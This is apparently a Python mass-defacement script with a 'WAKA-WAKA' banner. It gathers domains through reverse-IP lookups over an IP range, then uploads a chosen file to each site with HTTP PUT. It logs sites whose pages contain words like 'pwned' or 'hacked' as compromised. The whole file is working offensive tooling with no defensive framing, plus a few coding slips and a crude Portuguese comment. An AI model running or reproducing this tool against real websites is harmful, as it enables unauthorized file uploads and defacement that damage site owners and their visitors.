coding: utf-8 from colorama import Fore as F from colorama import * import random import requests import sys import os # KriptonWave tem um pirokao do krl # Twitter: @PlushSec os.system('clear||cls') banner = (r""" ██╗ ██╗ █████╗ ██╗ ██╗ █████╗ ██╗ ██╗ █████╗ ██╗ ██╗ █████╗ ██║ ██║██╔══██╗██║ ██╔╝██╔══██╗ ██║ ██║██╔══██╗██║ ██╔╝██╔══██╗ ██║ █╗ ██║███████║█████╔╝ ███████║█████╗██║ █╗ ██║███████║█████╔╝ ███████║ ██║███╗██║██╔══██║██╔═██╗ ██╔══██║╚════╝██║███╗██║██╔══██║██╔═██╗ ██╔══██║ ╚███╔███╔╝██║ ██║██║ ██╗██║ ██║ ╚███╔███╔╝██║ ██║██║ ██╗██║ ██║ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ """) api = "https://api.hackertarget.com/reverseiplookup/?q=" try: ip = sys.argv[1] file = sys.argv[2] send = open(sys.argv[2]).read() except: print (F.RED + Style.BRIGHT + banner + F.RESET + Style.RESET_ALL) print ("[+] Usage: "+ sys.argv[0] + " [IP Range] [File]") sys.exit() agents = [ 'Opera/9.21 (Macintosh; Intel Mac OS X; U; en)', 'Opera/9.21 (Macintosh; PPC Mac OS X; U; en)', 'Opera/9.21 (Windows 98; U; en)', 'Opera/9.21 (Windows NT 5.0; U; de)', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36', ] arq = open('websites.txt','w') logs = [] xd = -1 if xd != 1: for rest in range(10,81): rest = (str(rest)) ip = (str(ip)) ipadders = ip+'.'+rest rev = (api+ipadders) req = requests.get(rev,headers={'user-agent': random.choice(agents)}).text try: if 'API count exceeded - Increase Quota with Membership' in req: print (F.RED + Style.BRIGHT + "[+] API count exceeded" + F.RESET + Style.RESET_ALL) continue elif 'error check your search parameter' in req: pass elif 'No DNS A records found for' in req: pass else: print ("[+] Testing: " + ipadders) logs.append(req) except requests.exceptions.RequestException: continue except: print ("[!] Error!!!") exit() arq.writelines(logs) arq.close() os.system('clear||cls') print (F.RED + Style.BRIGHT + banner + F.RESET + Style.RESET_ALL) char = [] save = open("pwneds.txt",'w') try: with open("websites.txt",'r') as web: web = web.readlines() for site in web: site = site.rstrip('\n') exp = (file.rstrip('\n')) own = site+exp re = requests.get(own,header={'user-agent': random.choice(agents)}).text try: r = requests.request('put', own , data=send , headers={'Content-Type':'application/octet-stream'}) except: pass if "pwned" in re or "Pwned" in re or "Hacked" in re or "hacked" in re or "Hackiado" in re or "owned" in re: print (Style.BRIGHT + F.GREEN + "[+] Pwned: " + own + F.RESET + Style.RESET_ALL) file = open('pwneds.txt', 'w') char.append(req) else: print (Style.BRIGHT + F.RED + "[-] Fail: " + own + F.RESET + Style.RESET_ALL) except: print ('[!] Arquivo "websites.txt" não encontrado!!!') exit() save.writelines(char) save.close()